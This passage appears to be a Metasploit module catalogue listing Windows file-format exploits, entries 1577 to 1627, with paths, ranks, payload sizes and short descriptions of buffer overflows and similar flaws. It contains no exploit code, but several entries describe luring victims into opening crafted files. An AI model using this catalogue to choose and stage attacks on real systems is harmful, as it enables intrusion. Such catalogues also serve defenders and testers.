End Exploit Number 1576

Begin Exploit Number 1577
       Name: Beetel Connection Manager NetConfig.ini Buffer Overflow
     Module: exploit/windows/fileformat/beetel_netconfig_ini_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-10-12

Payload information:
  Space: 1504
  Avoid: 7 characters

Description:
  This module exploits a stack-based buffer overflow in Beetel
Connection
  Manager. The vulnerability exists in the parsing of the UserName
  parameter in the NetConfig.ini file.

  The module has been tested successfully against version
  PCW_BTLINDV1.0.0B04 on Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1577

Begin Exploit Number 1578
       Name: BlazeVideo HDTV Player Pro v6.6 Filename Handling
Vulnerability
     Module: exploit/windows/fileformat/blazedvd_hdtv_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2012-04-03

Payload information:
  Avoid: 6 characters

Description:
  This module exploits a vulnerability found in BlazeVideo HDTV
Player's filename
  handling routine.  When supplying a string of input data embedded in
a .plf file,
  the MediaPlayerCtrl.dll component will try to extract a filename by
using
  PathFindFileNameA(), and then copies whatever the return value is on
the stack by
  using an inline strcpy.  As a result, if this input data is long
enough, it can cause
  a stack-based buffer overflow, which may lead to arbitrary code
execution under the
  context of the user.

End Exploit Number 1578

Begin Exploit Number 1579
       Name: BlazeDVD 6.1 PLF Buffer Overflow
     Module: exploit/windows/fileformat/blazedvd_plf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-08-03

Payload information:
  Space: 750
  Avoid: 3 characters

Description:
  This module exploits a stack over flow in BlazeDVD 5.1 and 6.2. When
  the application is used to open a specially crafted plf file,
  a buffer is overwritten allowing for the execution of arbitrary
code.

End Exploit Number 1579

Begin Exploit Number 1580
       Name: Boxoft WAV to MP3 Converter v1.1 Buffer Overflow
     Module: exploit/windows/fileformat/boxoft_wav_to_mp3
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-08-31

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Boxoft WAV to MP3
Converter versions 1.0 and 1.1.
  By constructing a specially crafted WAV file and attempting to
convert it to an MP3 file in the
  application, a buffer is overwritten, which allows for running
shellcode.

End Exploit Number 1580

Begin Exploit Number 1581
       Name: BulletProof FTP Client BPS Buffer Overflow
     Module: exploit/windows/fileformat/bpftp_client_bps_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-07-24

Payload information:
  Space: 2000
  Avoid: 4 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability in
  BulletProof FTP Client 2010, caused by an overly long hostname.

  By persuading the victim to open a specially-crafted .BPS file, a
  remote attacker could execute arbitrary code on the system or cause
  the application to crash. This module has been tested successfully
on
  Windows XP SP3.

End Exploit Number 1581

Begin Exploit Number 1582
       Name: BS.Player 2.57 Buffer Overflow (Unicode SEH)
     Module: exploit/windows/fileformat/bsplayer_m3u
   Platform: Windows
       Arch: 
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-01-07

Payload information:
  Space: 2000
  Avoid: 5 characters

Description:
  This module exploits a buffer overflow in BS.Player 2.57. When
  the playlist import is used to import a specially crafted m3u file,
  a buffer overflow occurs allowing arbitrary code execution.

End Exploit Number 1582

Begin Exploit Number 1583
       Name: CA Antivirus Engine CAB Buffer Overflow
     Module: exploit/windows/fileformat/ca_cab
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-06-05

Payload information:
  Space: 250
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in CA eTrust Antivirus
8.1.637.
  By creating a specially crafted CAB file, an attacker may be able
  to execute arbitrary code.

End Exploit Number 1583

Begin Exploit Number 1584
       Name: Cain and Abel RDP Buffer Overflow
     Module: exploit/windows/fileformat/cain_abel_4918_rdp
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-11-30

Payload information:
  Space: 800
  Avoid: 7 characters
```

```
Description:
  This module exploits a stack-based buffer overflow in the Cain &
Abel v4.9.24
  and below. An attacker must send the file to victim, and the victim
must open
  the specially crafted RDP file under Tools -> Remote Desktop
Password Decoder.

End Exploit Number 1584

Begin Exploit Number 1585
       Name: CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow
     Module: exploit/windows/fileformat/ccmplayer_m3u_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-11-30

Payload information:
  Space: 4096
  Avoid: 8 characters

Description:
  This module exploits a stack based buffer overflow in CCMPlayer 1.5.
Opening
  a m3u playlist with a long track name, a SEH exception record can be
overwritten
  with parts of the controllable buffer. SEH execution is triggered
after an
  invalid read of an injectable address, thus allowing arbitrary code
execution.
  This module works on multiple Windows platforms including: Windows
XP SP3,
  Windows Vista, and Windows 7.

End Exploit Number 1585

Begin Exploit Number 1586
       Name: Chasys Draw IES Buffer Overflow
     Module: exploit/windows/fileformat/chasys_draw_ies_bmp_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-07-26
```

```
Payload information:
  Space: 21112

Description:
  This module exploits a buffer overflow vulnerability found in Chasys
Draw IES
  (version 4.10.01). The vulnerability exists in the module
flt_BMP.dll, while
  parsing BMP files, where the ReadFile function is used to store user
provided data
  on the stack in an insecure way. It results in arbitrary code
execution under the
  context of the user viewing a specially crafted BMP file. This
module has been
  tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3
and Windows 7
  SP1.

End Exploit Number 1586

Begin Exploit Number 1587
       Name: Cool PDF Image Stream Buffer Overflow
     Module: exploit/windows/fileformat/coolpdf_image_stream_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-18

Payload information:
  Space: 2000

Description:
  This module exploits a stack buffer overflow in Cool PDF Reader
prior to version
  3.0.2.256. The vulnerability is triggered when opening a malformed
PDF file that
  contains a specially crafted image stream. This module has been
tested successfully
  on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1587

Begin Exploit Number 1588
       Name: Corel PDF Fusion Stack Buffer Overflow
     Module: exploit/windows/fileformat/corelpdf_fusion_bof
   Platform: Windows
       Arch:
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-07-08

Payload information:
  Space: 4000

Description:
  This module exploits a stack-based buffer overflow vulnerability in
version 1.11 of
  Corel PDF Fusion. The vulnerability exists while handling a XPS file
with long entry
  names. In order for the payload to be executed, an attacker must
convince the target
  user to open a specially crafted XPS file with Corel PDF Fusion. By
doing so, the
  attacker can execute arbitrary code as the target user.

End Exploit Number 1588

Begin Exploit Number 1589
       Name: Csound hetro File Handling Stack Buffer Overflow
     Module: exploit/windows/fileformat/csound_getnum_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-02-23

Payload information:
  Space: 650
  Avoid: 5 characters

Description:
  This module exploits a buffer overflow in Csound before 5.16.6.
  The overflow occurs when trying to import a malicious hetro file
  from tabular format.
  In order to achieve exploitation the user should import the
malicious
  file through csound with a command like "csound -U het_import
msf.csd file.het".
  This exploit doesn't work if the "het_import" command is used
directly
  to convert the file.

End Exploit Number 1589

Begin Exploit Number 1590
       Name: GlobalSCAPE CuteZIP Stack Buffer Overflow
     Module: exploit/windows/fileformat/cutezip_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-02-12

Payload information:
  Space: 3000
  Avoid: 0 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability in 
version 2.1
  of CuteZIP.

  In order for the command to be executed, an attacker must convince 
the target user
  to open a specially crafted zip file with CuteZIP. By doing so, an 
attacker can
  execute arbitrary code as the target user.

End Exploit Number 1590

Begin Exploit Number 1591
       Name: LNK Code Execution Vulnerability
     Module: exploit/windows/fileformat/cve_2017_8464_lnk_rce
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-06-13

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in the handling of Windows 
Shortcut files (.LNK)
  that contain a dynamic icon, loaded from a malicious DLL.

  This vulnerability is a variant of MS15-020 (CVE-2015-0096). The 
created LNK file is
  similar except an additional SpecialFolderDataBlock is included. The 
folder ID set
  in this SpecialFolderDataBlock is set to the Control Panel. This is 
enough to bypass
  the CPL whitelist. This bypass can be used to trick Windows into
```

```
loading an arbitrary
  DLL file.

  If no PATH is specified, the module will use drive letters D through
Z so the files
  may be placed in the root path of a drive such as a shared VM folder
or USB drive.

End Exploit Number 1591

Begin Exploit Number 1592
       Name: CyberLink LabelPrint 2.5 Stack Buffer Overflow
     Module: exploit/windows/fileformat/cyberlink_lpp_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-09-23

Payload information:
  Space: 15000

Description:
  This module exploits a stack buffer overflow in CyberLink LabelPrint
2.5 and below.
  The vulnerability is triggered when opening a .lpp project file
containing overly long string characters
  via open file menu. This results in overwriting a structured
exception handler record and take over the
  application. This module has been tested on Windows 7 (64 bit),
Windows 8.1 (64 bit), and Windows 10 (64 bit).

End Exploit Number 1592

Begin Exploit Number 1593
       Name: CyberLink Power2Go name Attribute (p2g) Stack Buffer
Overflow Exploit
     Module: exploit/windows/fileformat/cyberlink_p2g_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-09-12

Payload information:
  Space: 1024
  Avoid: 1 characters
```

```
Description:
  This module exploits a stack buffer overflow in CyberLink Power2Go
version 8.x
  The vulnerability is triggered when opening a malformed p2g file
containing an overly
  long string in the 'name' attribute of the file element. This
results in overwriting a
  structured exception handler record.

End Exploit Number 1593

Begin Exploit Number 1594
       Name: Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow
     Module: exploit/windows/fileformat/cytel_studio_cy3
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-10-02

Payload information:
  Space: 1000
  Avoid: 8 characters

Description:
  This module exploits a stack based buffer overflow found
  in Cytel Studio <= 9.0. The overflow is triggered during the
  copying of strings to a stack buffer of 256 bytes.

End Exploit Number 1594

Begin Exploit Number 1595
       Name: AstonSoft DeepBurner (DBR File) Path Buffer Overflow
     Module: exploit/windows/fileformat/deepburner_path
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-12-19

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in versions
1.9.0.228,
  1.8.0, and possibly other versions of AstonSoft's DeepBurner (Pro,
Lite, etc).
  An attacker must send the file to victim and the victim must open
the file.
  Alternatively it may be possible to execute code remotely via an
embedded
  DBR file within a browser, since the DBR extension is registered to
DeepBurner.

End Exploit Number 1595

Begin Exploit Number 1596
       Name: Destiny Media Player 1.61 PLS M3U Buffer Overflow
     Module: exploit/windows/fileformat/destinymediaplayer16
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-01-03

Payload information:
  Space: 800
  Avoid: 7 characters

Description:
  This module exploits a stack-based buffer overflow in the Destiny
Media Player 1.61.
  An attacker must send the file to victim and the victim must open
the file. File-->Open Playlist

End Exploit Number 1596

Begin Exploit Number 1597
       Name: Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow
     Module: exploit/windows/fileformat/digital_music_pad_pls
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-09-17

Payload information:
  Space: 4720
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in Digital Music Pad Version
8.2.3.3.4
  When opening a malicious pls file with the Digital Music Pad,
  a remote attacker could overflow a buffer and execute
  arbitrary code.

End Exploit Number 1597

Begin Exploit Number 1598
       Name: DJ Studio Pro 5.1 .pls Stack Buffer Overflow
     Module: exploit/windows/fileformat/djstudio_pls_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-12-30

Payload information:
  Space: 5000
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow in DJ Studio Pro 
5.1.6.5.2.
  When handling a .pls file, DJ Studio will copy the user-supplied 
data on the stack
  without any proper bounds checking done beforehand, therefore 
allowing code
  execution under the context of the user.

End Exploit Number 1598

Begin Exploit Number 1599
       Name: DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer 
Overflow
     Module: exploit/windows/fileformat/djvu_imageurl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Low
  Disclosed: 2008-10-30

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in DjVu ActiveX 
Component. When sending an
  overly long string to the ImageURL() property of 
DjVu_ActiveX_MSOffice.dll (3.0)
```

```
  an attacker may be able to execute arbitrary code. This control is
not marked safe
  for scripting, so choose your attack vector accordingly.

End Exploit Number 1599

Begin Exploit Number 1600
       Name: Documalis Free PDF Editor and Scanner JPEG Stack Buffer
Overflow
     Module: exploit/windows/fileformat/
documalis_pdf_editor_and_scanner
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-05-22

Payload information:
  Space: 1715

Description:
  Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF
Scanner version 5.7.2.122 do not
  appropriately validate the contents of JPEG images contained within
a PDF. Attackers can exploit
  this vulnerability to trigger a buffer overflow on the stack and
gain remote code execution as the
  user running the Documalis Free PDF Editor or Documalis Free PDF
Scanner software.


End Exploit Number 1600

Begin Exploit Number 1601
       Name: Dup Scout Enterprise v10.4.16 - Import Command Buffer
Overflow
     Module: exploit/windows/fileformat/dupscout_xml
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-03-29

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Dup Scout Enterprise
```

```
v10.4.16
  by using the import command option to import a specially crafted xml
file.

End Exploit Number 1601

Begin Exploit Number 1602
       Name: DVD X Player 5.5 .plf PlayList Buffer Overflow
     Module: exploit/windows/fileformat/dvdx_plf_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-06-02

Payload information:
  Space: 1000
  Avoid: 4 characters

Description:
  This module exploits a stack-based buffer overflow on DVD X Player
5.5 Pro and
  Standard.  By supplying a long string of data in a plf file
(playlist), the
  MediaPlayerCtrl.dll component will attempt to extract a filename out
of the string,
  and then copy it on the stack without any proper bounds checking,
which causes a
  buffer overflow, and results in arbitrary code execution under the
context of the user.

    This module has been designed to target common Windows systems
such as:
  Windows XP SP2/SP3, Windows Vista, and Windows 7.

End Exploit Number 1602

Begin Exploit Number 1603
       Name: Easy CD-DA Recorder PLS Buffer Overflow
     Module: exploit/windows/fileformat/easycdda_pls_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-06-07

Payload information:
  Space: 2454
  Avoid: 2 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability in
  Easy CD-DA Recorder 2007 caused by an overlong string in a playlist
entry.
  By persuading the victim to open a specially-crafted PLS file, a
  remote attacker can execute arbitrary code on the system or cause
  the application to crash. This module has been tested successfully
on
  Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1603

Begin Exploit Number 1604
       Name: EMC ApplicationXtender (KeyWorks) ActiveX Control Buffer
Overflow
     Module: exploit/windows/fileformat/emc_appextender_keyworks
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2009-09-29

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the KeyWorks KeyHelp
ActiveX Control
  (KeyHelp.ocx 1.2.3120.0). This ActiveX Control comes bundled with
EMC's
  Documentation ApplicationXtender 5.4.

End Exploit Number 1604

Begin Exploit Number 1605
       Name: ERS Viewer 2011 ERS File Handling Buffer Overflow
     Module: exploit/windows/fileformat/erdas_er_viewer_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-04-23

Payload information:
  Space: 7516
  Avoid: 162 characters

Description:
  This module exploits a buffer overflow vulnerability found in ERS
Viewer 2011
  (version 11.04). The vulnerability exists in the module
ermapper_u.dll where the
  function ERM_convert_to_correct_webpath handles user provided data
in an insecure
  way. It results in arbitrary code execution under the context of the
user viewing
  a specially crafted .ers file. This module has been tested
successfully with ERS
  Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1605

Begin Exploit Number 1606
       Name: ERS Viewer 2013 ERS File Handling Buffer Overflow
     Module: exploit/windows/fileformat/
erdas_er_viewer_rf_report_error
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-05-23

Payload information:
  Space: 4000

Description:
  This module exploits a buffer overflow vulnerability found in ERS
Viewer 2013.
  The vulnerability exists in the module ermapper_u.dll, where the
function
  rf_report_error handles user provided data in an insecure way. It
results in
  arbitrary code execution under the context of the user viewing a
specially crafted
  .ers file. This module has been tested successfully with ERS Viewer
2013 (versions
  13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1606

Begin Exploit Number 1607
       Name: eSignal and eSignal Pro File Parsing Buffer Overflow in
QUO
     Module: exploit/windows/fileformat/esignal_styletemplate_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-09-06

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  The software is unable to handle the "<StyleTemplate>" files (even 
those
  original included in the program) like those with the registered
  extensions QUO, SUM and POR. Successful exploitation of this
  vulnerability may take up to several seconds due to the use of
  egghunter. Also, DEP bypass is unlikely due to the limited space for
  payload. This vulnerability affects versions 10.6.2425.1208 and 
earlier.

End Exploit Number 1607

Begin Exploit Number 1608
       Name: CA eTrust PestPatrol ActiveX Control Buffer Overflow
     Module: exploit/windows/fileformat/etrust_pestscan
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2009-11-02

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in CA eTrust 
PestPatrol. When
  sending an overly long string to the Initialize() property of 
ppctl.dll (5.6.7.9)
  an attacker may be able to execute arbitrary code.

End Exploit Number 1608

Begin Exploit Number 1609
       Name: eZip Wizard 3.0 Stack Buffer Overflow
     Module: exploit/windows/fileformat/ezip_wizard_bof
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-03-09

Payload information:

Description:
  This module exploits a stack-based buffer overflow vulnerability in
  version 3.0 of ediSys Corp.'s eZip Wizard.

  In order for the command to be executed, an attacker must convince
someone to
  open a specially crafted zip file with eZip Wizard, and access the
specially
  file via double-clicking it. By doing so, an attacker can execute
arbitrary
  code as the victim user.

End Exploit Number 1609

Begin Exploit Number 1610
       Name: Fat Player Media Player 0.6b0 Buffer Overflow
     Module: exploit/windows/fileformat/fatplayer_wav
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-10-18

Payload information:
  Space: 500
  Avoid: 2 characters

Description:
  This module exploits a buffer overflow in Fat Player 0.6b. When
  the application is used to import a specially crafted wav file, a
buffer overflow occurs
  allowing arbitrary code execution.

End Exploit Number 1610

Begin Exploit Number 1611
       Name: Free Download Manager Torrent Parsing Buffer Overflow
     Module: exploit/windows/fileformat/fdm_torrent
   Platform: Windows
       Arch: 
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-02-02

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in Free Download
Manager
  3.0 Build 844. Arbitrary code execution could occur when parsing a
  specially crafted torrent file.

End Exploit Number 1611

Begin Exploit Number 1612
       Name: FeedDemon Stack Buffer Overflow
     Module: exploit/windows/fileformat/feeddemon_opml
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-02-09

Payload information:
  Space: 1024
  Avoid: 10 characters

Description:
  This module exploits a buffer overflow in FeedDemon v3.1.0.12. When
the application
  is used to import a specially crafted opml file, a buffer overflow
occurs allowing
  arbitrary code execution.

  All versions are suspected to be vulnerable. This vulnerability was
originally reported
  against version 2.7 in February of 2009.

End Exploit Number 1612

Begin Exploit Number 1613
       Name: Foxit PDF Reader 4.2 Javascript File Write
     Module: exploit/windows/fileformat/foxit_reader_filewrite
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2011-03-05

Payload information:

Description:
  This module exploits an unsafe Javascript API implemented in Foxit
PDF Reader
  version 4.2. The createDataObject() Javascript API function allows
for writing
  arbitrary files to the file system. This issue was fixed in version
4.3.1.0218.

  Note: This exploit uses the All Users directory currently, which
required
  administrator privileges to write to. This means an administrative
user has to
  open the file to be successful. Kind of lame but thats how it goes
sometimes in
  the world of file write bugs.

End Exploit Number 1613

Begin Exploit Number 1614
       Name: Foxit Reader 3.0 Open Execute Action Stack Based Buffer
Overflow
     Module: exploit/windows/fileformat/foxit_reader_launch
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-03-09

Payload information:
  Space: 1024
  Avoid: 21 characters

Description:
  This module exploits a buffer overflow in Foxit Reader 3.0 builds
1301 and earlier.
  Due to the way Foxit Reader handles the input from an "Launch"
action, it is possible
  to cause a stack-based buffer overflow, allowing an attacker to gain
arbitrary code
  execution under the context of the user.

End Exploit Number 1614

Begin Exploit Number 1615
```

```
       Name: Foxit PDF Reader Pointer Overwrite UAF
     Module: exploit/windows/fileformat/foxit_reader_uaf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-04-20

Payload information:

Description:
  Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
  in the Text Annotations component and the TypedArray's use
  uninitialized pointers.

  The vulnerabilities can be combined to leak a vtable memory address,
  which can be adjusted to point to the base address of the
executable.
  A ROP chain can be constructed that will execute when Foxit Reader
  performs the UAF.

  This module has been tested on Windows 7 x64, Windows 10 Pro x64
  Build 17134, and Windows 10 Enterprise x64. Windows 10 Enterprise
  must have insecure logons enabled for the exploit to work as
expected.

End Exploit Number 1615

Begin Exploit Number 1616
       Name: Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
     Module: exploit/windows/fileformat/foxit_title_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-13

Payload information:
  Avoid: 18 characters

Description:
  This module exploits a stack buffer overflow in Foxit PDF Reader
prior to version
  4.2.0.0928. The vulnerability is triggered when opening a malformed
PDF file that
  contains an overly long string in the Title field. This results in
overwriting a
  structured exception handler record.
  NOTE: This exploit does not use javascript.

End Exploit Number 1616

Begin Exploit Number 1617
       Name: Free MP3 CD Ripper 1.1 WAV File Stack Buffer Overflow
     Module: exploit/windows/fileformat/free_mp3_ripper_wav
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-08-27

Payload information:
  Avoid: 4 characters

Description:
  This module exploits a stack based buffer overflow found in Free MP3 
CD
  Ripper 1.1.  The overflow is triggered when an unsuspecting user 
opens a malicious
  WAV file.

End Exploit Number 1617

Begin Exploit Number 1618
       Name: gAlan 0.2.1 Buffer Overflow
     Module: exploit/windows/fileformat/galan_fileformat_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-12-07

Payload information:
  Space: 1000
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in gAlan 0.2.1
  by creating a specially crafted galan file.

End Exploit Number 1618

Begin Exploit Number 1619
       Name: Greenshot .NET Deserialization Fileformat Exploit
     Module: exploit/windows/fileformat/
```

```
greenshot_deserialize_cve_2023_34634
   Platform: Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-07-26

Payload information:

Description:
  There exists a .NET deserialization vulnerability in Greenshot 
version 1.3.274
  and below.  The deserialization allows the execution of commands 
when a user opens
  a Greenshot file.  The commands execute under the same permissions 
as the Greenshot
  service.  Typically, is the logged in user.

End Exploit Number 1619

Begin Exploit Number 1620
       Name: GSM SIM Editor 5.15 Buffer Overflow
     Module: exploit/windows/fileformat/gsm_sim
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-07-07

Payload information:
  Space: 2000
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in GSM SIM Editor 
5.15.
  When opening a specially crafted .sms file in GSM SIM Editor a 
stack-based buffer
  overflow occurs which allows an attacker to execute arbitrary code.

End Exploit Number 1620

Begin Exploit Number 1621
       Name: GTA SA-MP server.cfg Buffer Overflow
     Module: exploit/windows/fileformat/gta_samp
   Platform: Windows
       Arch: 
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-09-18

Payload information:
  Space: 392
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow in GTA SA-MP
Server.
  This buffer overflow occurs when the application attempts to open a
malformed
  server.cfg file.  To exploit this vulnerability, an attacker must
send the
  victim a server.cfg file and have them run samp-server.exe.

End Exploit Number 1621

Begin Exploit Number 1622
       Name: HTML Help Workshop 4.74 (hhp Project File) Buffer
Overflow
     Module: exploit/windows/fileformat/hhw_hhp_compiledfile_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-02-06

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in HTML Help Workshop
4.74
  By creating a specially crafted hhp file, an attacker may be able
  to execute arbitrary code.

End Exploit Number 1622

Begin Exploit Number 1623
       Name: HTML Help Workshop 4.74 (hhp Project File) Buffer
Overflow
     Module: exploit/windows/fileformat/hhw_hhp_contentfile_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Good
  Disclosed: 2006-02-06

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in HTML Help Workshop
4.74
  by creating a specially crafted hhp file.

End Exploit Number 1623

Begin Exploit Number 1624
       Name: HTML Help Workshop 4.74 (hhp Project File) Buffer
Overflow
     Module: exploit/windows/fileformat/hhw_hhp_indexfile_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-01-17

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in HTML Help Workshop
4.74
  by creating a specially crafted hhp file.

End Exploit Number 1624

Begin Exploit Number 1625
       Name: Heroes of Might and Magic III .h3m Map file Buffer
Overflow
     Module: exploit/windows/fileformat/homm3_h3m
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-07-29

Payload information:

Description:
  This module embeds an exploit into an uncompressed map file (.h3m)
for
  Heroes of Might and Magic III. Once the map is started in-game, a
  buffer overflow occurring when loading object sprite names leads to
  shellcode execution.

End Exploit Number 1625

Begin Exploit Number 1626
       Name: HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow
     Module: exploit/windows/fileformat/ht_mp3player_ht3_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-06-29

Payload information:
  Space: 4108
  Avoid: 83 characters

Description:
  This module exploits a stack buffer overflow in HT-MP3Player 1.0.
  Arbitrary code execution could occur when parsing a specially
crafted
  .HT3 file.

  NOTE: The player installation does not register the file type to be
  handled. Therefore, a user must take extra steps to load this file.

End Exploit Number 1626

Begin Exploit Number 1627
       Name: IBM Forms Viewer Unicode Buffer Overflow
     Module: exploit/windows/fileformat/ibm_forms_viewer_fontname
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-12-05

Payload information:
  Space: 3000
  Avoid: 160 characters

Description:
  This module exploits a stack-based buffer overflow in IBM Forms
Viewer. The vulnerability
```

```
  is due to a dangerous usage of a strcpy-like function, and occurs 
while parsing malformed
  XFDL files containing a long fontname value. This module has been 
tested successfully on IBM
  Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1627

